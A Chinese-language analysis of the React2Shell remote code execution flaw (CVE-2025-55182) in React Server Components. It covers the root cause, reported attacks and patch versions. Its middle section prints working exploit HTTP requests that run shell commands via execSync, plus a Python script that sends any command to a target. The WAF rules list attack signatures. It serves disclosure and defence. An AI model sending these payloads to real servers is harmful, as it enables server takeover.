2025 年 12 月 3 日,React 团队公开披露了一个被命名为CVE-2025-55182的严重安全漏洞,该漏洞在通用漏洞评分系统(CVSS)中获得了满分 10.0的最高严重性评级。这一被称为 "React2Shell" 的远程代码执行漏洞,源于 React Server Components(RSC)的 Flight 协议在处理客户端提交的反序列化负载时存在的根本性缺陷。
该漏洞的核心威胁在于其无需身份认证即可利用的特性。攻击者仅需发送一个精心构造的 HTTP POST 请求到 React Server Function 端点,就能在目标服务器上执行任意代码。根据 Shadowserver 的统计,超过77,664 个 IP 地址易受此漏洞影响,其中约 23,700 个位于美国。Palo Alto Networks 的研究显示,已有30 多家组织机构被该漏洞攻陷。
CVE-2025-55182 的影响范围极其广泛,不仅直接影响 React 19.0.0 至 19.2.0 版本的核心包,还波及到基于 React Server Components 构建的整个生态系统,包括 Next.js 15.x、16.x 系列,以及 React Router、Waku、RedwoodSDK、Parcel 和 Vite RSC 插件等主流框架。
要理解 CVE-2025-55182 的漏洞原理,首先需要了解 React Server Components(RSC)的工作机制。RSC 是 React 团队在 React 18 实验阶段提出、在 React 19 正式稳定的革命性特性,它真正实现了 "服务器上直接执行代码、客户端只收纯 HTML" 的理想状态。这种架构的性能提升极其显著,首屏加载速度往往能提升 50%-80%,但也正因为它把 "客户端触发的服务器函数执行权" 彻底开放,才导致了史诗级漏洞的出现。
React Server Components 通过一种称为Flight 协议的自定义序列化格式进行数据交换。当客户端需要服务器组件渲染数据时,会向服务器端点发送请求。服务器解析传入的负载,执行相关的服务器端逻辑,并返回组件树的序列化表示。这种机制的核心在于服务器需要反序列化客户端发送的数据,而正是在这个反序列化过程中存在了致命的安全缺陷。
CVE-2025-55182 的根本原因在于 React 官方提供的服务端运行时包(如 react-server、react-server-dom-webpack 或 react-server-dom-parsing)在处理客户端发往服务端的 Flight 协议序列化负载时,缺乏对反序列化对象结构的安全校验机制。
具体而言,漏洞存在于react-server-dom-webpack包的requireModule 函数中,该函数缺少hasOwnProperty 检查。在易受攻击的 RSC 版本中,服务器没有验证传入的对象是否为真正的 chunks,而是反序列化来自请求体的任意用户提供的结构。
漏洞的核心问题出现在 ReactFlightReplyServer.js 中的reviveModel 函数,该函数错误地调用了不受信任对象自身的hasOwnProperty 方法。攻击者可以通过恶意构造的序列化数据,在服务器解析请求时劫持此方法调用,从而绕过安全检查,访问 JavaScript 原型链上的敏感属性(如 constructor),最终实现远程代码执行。
CVE-2025-55182 本质上是一个 \\"原型污染 + 动态代码执行"\\ 的组合利用漏洞。攻击者通过特殊字段名(如 $ACTION:0、proto、constructor 等)向对象注入恶意属性;后端在未做输入校验的情况下,将污染后的对象用于模板渲染、VM 执行或函数调用(例如通过 vm.runInThisContext 或间接调用 require)。
原型链污染的具体过程如下:
构造伪造 Chunk 对象:攻击者发送一个包含特定字段(如 status、value 等)的 JSON 对象,使其看起来像是一个合法的 React 内部数据块。
原型链遍历攻击:攻击者利用 Flight 协议允许属性访问的特性(如 Reference:Key),通过构造类似 \\$1:constructor:constructor\\ 的引用路径,成功跳出了当前模块的上下文。
劫持 then 方法:攻击者在 payload 中使用 {"then":"$1:proto:then"} 篡改对象原型链的 then 方法,劫持代码执行逻辑。
控制执行流程:通过污染的对象,攻击者可以访问构造函数的构造函数,在 JavaScript 中,这通常会返回全局的Function 构造器。
执行恶意代码:最终通过 vm.runInThisContext 或 child_process 等 Node.js 模块执行任意系统命令。
根据 OffSec 的详细分析,公开的 POC 利用了以下技术链条:
攻击者提交 Flight 负载:包含一个精心构造的看起来像 Chunk 的对象。
伪造 Chunk 定义自定义 then 方法:这个假 Chunk 定义了一个自定义的 then 方法。
React 反序列化触发 Promise 解析:当 React 反序列化负载时,其内部机制试图将 Chunk 解析为 Promise。
Promise 解析调用攻击者控制的 then 方法:Promise 解析导致 React 调用攻击者控制的 then 方法。
控制内部解析状态:该处理程序使攻击者能够控制内部解析状态,包括_response 对象。
修改对象执行恶意函数:攻击者修改该对象,使 React 随后调用攻击者选择的服务器端函数。
实现远程代码执行:这些函数成为 RCE 路径,最终在服务器进程内执行任意 JavaScript。
这个链条能够工作的根本原因是RSC 从未确认传入的结构是否真实。它假设客户端永远不会发送任何恶意内容,而攻击者只需要向 RSC 端点发送一个 HTTP POST 请求,无需账户、API 密钥、CSRF 令牌或会话。
以下是一个基础的 POC 代码,用于在目标服务器上执行系统命令 "id",并通过重定向返回结果:
POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 565
\------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"\$1:\_\_proto\_\_:then","status":"resolved\_model","reason":-1,"value":"{\\"then\\":\\"\$B1337\\"}","\_response":{"\_prefix":"process.mainModule.require('child\_process').execSync('id');","\_chunks":"\$Q2","\_formData":{"get":"\$1:constructor:constructor"}}}
\------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"\$@0"
\------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
\[]
\------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
关键参数解析:
Next-Action: x:触发 Next.js App Router 中的 Server Action/RSC 处理逻辑
Content-Type: multipart/form-data:提交表单数据,这是 RSC action 的标准通信方式
then: "$1:proto:then":通过原型链污染劫持 then 方法
status: "resolved_model":设置为 resolved_model 状态,触发 Promise 解析流程
_prefix: "process.mainModule.require('child_process').execSync('id')":核心恶意代码,执行系统命令
_formData.get: "$1:constructor:constructor":通过原型链获取 Function 构造器
以下是一个更复杂的 POC,用于在 /tmp 目录创建文件 rce_poc,并演示如何获取命令执行结果:
POST / HTTP/1.1
Host: 192.168.120.206
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 467
\------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"\$1:\_\_proto\_\_:then","status":"resolved\_model","reason":-1,"value":"{\\"then\\":\\"\$B1337\\"}","\_response":{"\_prefix":"process.mainModule.require('child\_process').execSync('touch /tmp/rce\_poc');","\_formData":{"get":"\$1:constructor:constructor"}}}
\------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"\$@0"
\------WebKitFormBoundaryx8jO2oVc6SWP3Sad--命令回显技巧:由于 RCE 命令执行后通常难以直接获取回显,建议使用 Base64 编码命令结果,以便通过响应或延迟加载的资源中观察结果:
\# 执行ls / -alhSt / 并将结果用base64编码,无换行符
ls / -alhSt / | base64 -w 0以下是一个Python 自动化攻击脚本,利用原型污染在 Flight 协议反序列化进行poc安全检测:
import requests
import random
import string
def generate\_boundary():
  return ''.join(random.choices(string.ascii\_letters + string.digits, k=16))
def exploit(target\_url, command):
  boundary = generate\_boundary()
   
  payload = (
  f'------{boundary}\r\n'
  f'Content-Disposition: form-data; name="0"\r\n'
  f'\r\n'
  f'{{"then":"\$1:\_\_proto\_\_:then","status":"resolved\_model","reason":-1,"value":"{{\\\\"then\\\\":\\\\"\$B1337\\\\"}}","\_response":{{"\_prefix":"process.mainModule.require(\\'child\_process\\').execSync(\\'{command}\\');","\_formData":{{"get":"\$1:constructor:constructor"}}}}}}\r\n'
  f'------{boundary}\r\n'
  f'Content-Disposition: form-data; name="1"\r\n'
  f'\r\n'
  f'"\$@0"\r\n'
  f'------{boundary}\r\n'
  f'Content-Disposition: form-data; name="2"\r\n'
  f'\r\n'
  f'\[]\r\n'
  f'------{boundary}--\r\n'
  )
   
  headers = {
  'Next-Action': 'x',
  'Content-Type': f'multipart/form-data; boundary={boundary}',
  'Content-Length': str(len(payload))
  }
   
  try:
  response = requests.post(target\_url, headers=headers, data=payload, timeout=10)
  return response.status\_code, response.text
  except Exception as e:
  return -1, str(e)
if \_\_name\_\_ == '\_\_main\_\_':
  target\_url = 'http://victim.example.com'
  command = 'id'
   
  status\_code, response = exploit(target\_url, command)
  print(f"Status Code: {status\_code}")
  print(f"Response: {response}")根据漏洞发现者 Lachlan Davidson 的原始 POC 说明,核心利用逻辑非常简洁:
$@x:提供对 chunk 的访问权限
在我们自己的对象上植入 then 属性:将 then 属性设置在攻击者控制的对象上
JavaScript 运行时自动展开嵌套的 promises:由于 JavaScript 运行时会自动解析具有.then 函数的对象,从而触发攻击者控制的代码执行
这种利用方式的优势在于它是一种纯粹的逻辑滥用,完全基于预期的 JavaScript 特性(如 promise 解析和嵌套反序列化)构建,不需要任何内存损坏或其他底层漏洞。
CVE-2025-55182 漏洞自 2025 年 12 月 3 日公开披露以来,已经遭到了大规模的实际利用。根据 Huntress 的研究,首例 Windows 终端攻击尝试可追溯至 2025 年 12 月 4 日,当时未知攻击者利用 Next.js 漏洞实例投放 shell 脚本,随后执行命令部署加密货币挖矿程序和 Linux 后门。
已确认的攻击案例包括:
朝鲜黑客组织攻击:Sysdig 发现了与朝鲜有关的EtherRAT,这是一个隐蔽的新后门,它利用以太坊智能合约进行 C2 通信,并利用了 React2Shell 的关键漏洞 (CVE-2025-55182)。
"黄金工厂" 网络犯罪团伙:12 月 6 日,该团伙针对东南亚发起攻击,利用 React2Shell 远程代码执行漏洞引发全球安全危机。
30 家机构被攻陷:Palo Alto Networks 报道称超过 30 家组织机构已遭该 React2Shell 漏洞攻陷。攻击者利用该漏洞运行命令、执行侦查活动并试图窃取 AWS 配置和凭据文件。
根据 GreyNoise 的分析,攻击者的典型利用流程如下:
漏洞验证阶段:攻击者经常通过 PowerShell 命令执行简单的数据函数,确认设备是否受该漏洞影响。这些测试会返回可预测的结果,同时留下最小利用痕迹。
权限提升阶段:一旦确认远程代码执行后果,攻击者就会执行 base64 编码的 PowerShell 命令,将其它脚本直接下载到内存。其中一条命令执行了来自某外部站点的第二阶段 PowerShell 脚本以禁用 AMSI,绕过端点安全并部署其它 payload。
恶意软件部署阶段:VirusTotal 表示,该 PowerShell 脚本在目标设备上安装了一个Cobalt Strike 信标,导致威胁行动者立足网络。
持久化控制阶段:攻击者还会安装 systemd 服务以确保持久性,并伪装成一个名为 "ksoftirqd" 的守护进程来逃避检测。
已发现的恶意软件家族包括:
加密货币挖矿程序:攻击者通过 React2Shell 漏洞投放加密货币挖矿程序,利用服务器计算资源进行非法获利。
PeerBlight 僵尸网络:这是一个 9 字节的前缀用作僵尸网络的标识符,而 20 字节的 DHT 节点 ID 中剩余的 11 字节则是随机生成的。
多种新型恶意软件:根据 Huntress 最新研究,React2Shell 漏洞正持续遭到大规模利用,攻击者通过 RSC 中的高危安全缺陷投放多个此前未记录的恶意软件家族。
主要攻击目标集中在以下领域:
云计算环境:39% 的云环境包含存在 CVE-2025-55182 漏洞的 Next.js 或 React 实例
企业 Web 应用:特别是使用 Next.js App Router 模式的企业级应用
托管服务:各种使用 React Server Components 的托管平台和 SaaS 服务
金融行业威胁场景:
金融机构使用 Next.js 构建的交易系统、客户门户和后台管理系统面临严重威胁。攻击者可以通过漏洞:
窃取客户账户信息和交易记录
篡改交易数据和账户余额
绕过身份认证获取管理员权限
植入后门长期控制关键业务系统
电商行业威胁场景:
电商平台的用户数据、订单系统和支付处理模块面临风险:
窃取用户信用卡信息和个人隐私
篡改商品价格和库存数据
控制促销活动和营销系统
批量注册虚假账户进行欺诈
政府与公共服务威胁场景:
政府网站、电子政务系统和公共服务平台面临安全风险:
窃取公民个人信息和敏感数据
篡改政府公告和政策文件
干扰在线政务服务的正常运行
植入恶意代码进行网络间谍活动
根据 Trend Micro 的统计,目前在实际环境中已确认约145 件基于 POC 的攻击代码,质量参差不齐,其中包含了 WAF 回避和自动扫描等功能。
攻击技术的演进趋势包括:
WAF 绕过技术:攻击者开发了多种绕过 Web 应用防火墙的技术,包括:
使用编码和混淆技术隐藏恶意载荷
分段传输避免特征检测
使用合法的 HTTP 参数进行隐蔽通信
自动化扫描工具:攻击者使用自动化工具对互联网上的 Next.js 应用进行大规模扫描,快速识别和利用漏洞。
多阶段攻击:从简单的命令执行演变为复杂的多阶段攻击,包括:
第一阶段:漏洞验证和初始访问
第二阶段:权限提升和横向移动
第三阶段:数据窃取和持久化控制
针对性攻击:针对特定行业和企业的定制化攻击,利用行业特有的业务逻辑和安全弱点。
最优先的修复措施是立即升级到官方发布的安全版本。根据 React 和 Next.js 官方的修复建议:
React 相关包的安全版本:
19.0.x 系列:升级到 19.0.1 或更高版本
19.1.x 系列:升级到 19.1.2 或更高版本
19.2.x 系列:升级到 19.2.1 或更高版本
Next.js 的安全版本:
15.0.x 系列:升级到 15.0.5 或更高版本
15.1.x 系列:升级到 15.1.9 或更高版本
15.2.x 系列:升级到 15.2.6 或更高版本
15.3.x 系列:升级到 15.3.6 或更高版本
15.4.x 系列:升级到 15.4.8 或更高版本
15.5.x 系列:升级到 15.5.7 或更高版本
16.0.x 系列:升级到 16.0.7 或更高版本
对于使用Next.js 14.3.0-canary.77或更高版本 canary 版本的用户,建议降级到最新的稳定 14.x 版本。
升级实施步骤:
评估依赖关系:使用 npm ls react-server-dom-webpack 等命令检查项目中受影响的包版本
备份代码和数据:在升级前确保备份所有重要代码和数据
执行升级命令:根据项目使用的版本线执行相应的 npm install 命令
测试验证:升级完成后进行全面的功能测试和安全测试
监控日志:升级后密切监控系统日志,及时发现异常行为
在无法立即升级的情况下,可以通过部署 \\Web 应用防火墙(WAF)\\ 来提供临时保护。各大云服务商和安全厂商已经发布了针对 CVE-2025-55182 的 WAF 规则。
推荐的 WAF 规则配置包括:
阻止可疑的 React Flight chunk 结构:
匹配包含 \\$@\\ chunk 引用的请求
阻止包含resolved_model字符串的请求
拦截包含constructor:constructor模式的请求
过滤恶意请求头:
检测异常的Next-Action/RSC-Action-IDheader 使用
阻止包含proto引用的请求
拦截包含_formData.get模式的请求
内容检测规则:
检测 multipart/form-data 请求中的恶意 JSON 结构
阻止包含 Node.js 模块引用(如 child_process、vm 等)的请求
过滤 base64 编码的可疑命令
注意事项:根据 Trend Micro 的研究,已经发现了大量 WAF 绕过案例,因此 WAF 规则必须包含以下关键模式:
$@ chunk 引用
resolved_model 字符串
constructor:constructor 模式
_formData.get 模式
严格的输入验证是防范该漏洞的重要措施。虽然 RCE 漏洞通常能够绕过简单的输入校验,但对于所有 Server Action 的输入,仍应执行严格的类型和内容验证。
应用层防护措施:
输入数据验证:
对所有 Server Action 的输入进行严格的类型检查
限制输入数据的长度和格式
使用白名单验证合法的输入值
对所有输入进行转义和净化处理
禁用危险功能:
如果可能,禁用 React Server Components 功能
限制 Server Action 的执行权限
禁用对敏感 Node.js 模块的访问
CVE-2025-55182(React2Shell)漏洞的爆发给整个 Web 应用生态系统敲响了警钟。这个 CVSS 评分达到 10.0 的严重漏洞,不仅暴露了 React Server Components 架构设计上的安全缺陷,也揭示了现代 Web 应用在面对复杂攻击时的脆弱性。
从技术角度看,该漏洞的根本原因在于过度信任客户端输入和缺乏必要的安全校验机制。攻击者利用 Flight 协议的反序列化缺陷,通过精心构造的恶意请求实现了远程代码执行。这种攻击方式具有无需认证、利用简单、影响广泛的特点,使得大量未及时修补的系统面临严重威胁。
从影响范围看,该漏洞波及了 React 19 生态系统的核心组件以及所有基于 RSC 构建的框架,包括 Next.js、React Router 等主流技术栈。据统计,超过 77,664 个 IP 地址易受影响,已有 30 多家组织机构被攻陷,造成了巨大的经济损失和安全风险。
面对如此严重的安全威胁,整个技术社区展现出了强大的应急响应能力。从漏洞发现到官方修复仅用了 4 天时间,各大云服务商和安全厂商迅速推出了相应的防护措施,为受影响的用户提供了及时的安全保障。
然而,我们必须认识到,单一的技术修复并不能完全解决 Web 应用安全面临的挑战。CVE-2025-55182 的出现标志着 Web 应用安全进入了新的阶段,传统的边界安全模型和简单的输入验证已经无法应对日益复杂的攻击手段。
未来的 Web 应用安全需要:
采用零信任架构,对所有访问进行严格验证
实施纵深防御策略,在各个层面部署安全措施
利用AI 和机器学习技术提升威胁检测能力
建立安全即代码的开发流程,将安全融入每个环节
对于开发者而言,需要时刻保持安全意识,严格遵循安全编码规范,对所有外部输入进行充分验证,避免使用危险的编程模式。对于企业而言,需要建立完善的安全管理体系,定期进行安全评估和应急演练,确保在面对安全威胁时能够快速响应和有效应对。
CVE-2025-55182 虽然是一次严重的安全事件,但也为我们提供了宝贵的经验教训。通过深入分析漏洞成因、研究攻击手段、总结防护措施,我们能够更好地理解现代 Web 应用的安全风险,推动整个行业向更加安全可靠的方向发展。
在这个数字化转型的时代,Web 应用已经成为企业运营和社会服务的重要基础设施。保障 Web 应用的安全性不仅是技术挑战,更是社会责任。只有通过技术创新、标准制定、人才培养和生态协作,我们才能构建一个更加安全、可信的 Web 应用生态系统,为数字经济的健康发展提供坚实的安全保障。
https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182/ https://github.com/vercel/next.js/issues/87029 https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/ https://www.cyber.gc.ca/en/alerts-advisories/al25-018-vulnerability-affecting-react-server-components-cve-2025-55182 https://dev.to/sizan_mahmud0_e7c3fd0cb68/critical-security-vulnerability-in-nextjs-react-cve-2025-55182-react2shell-10oi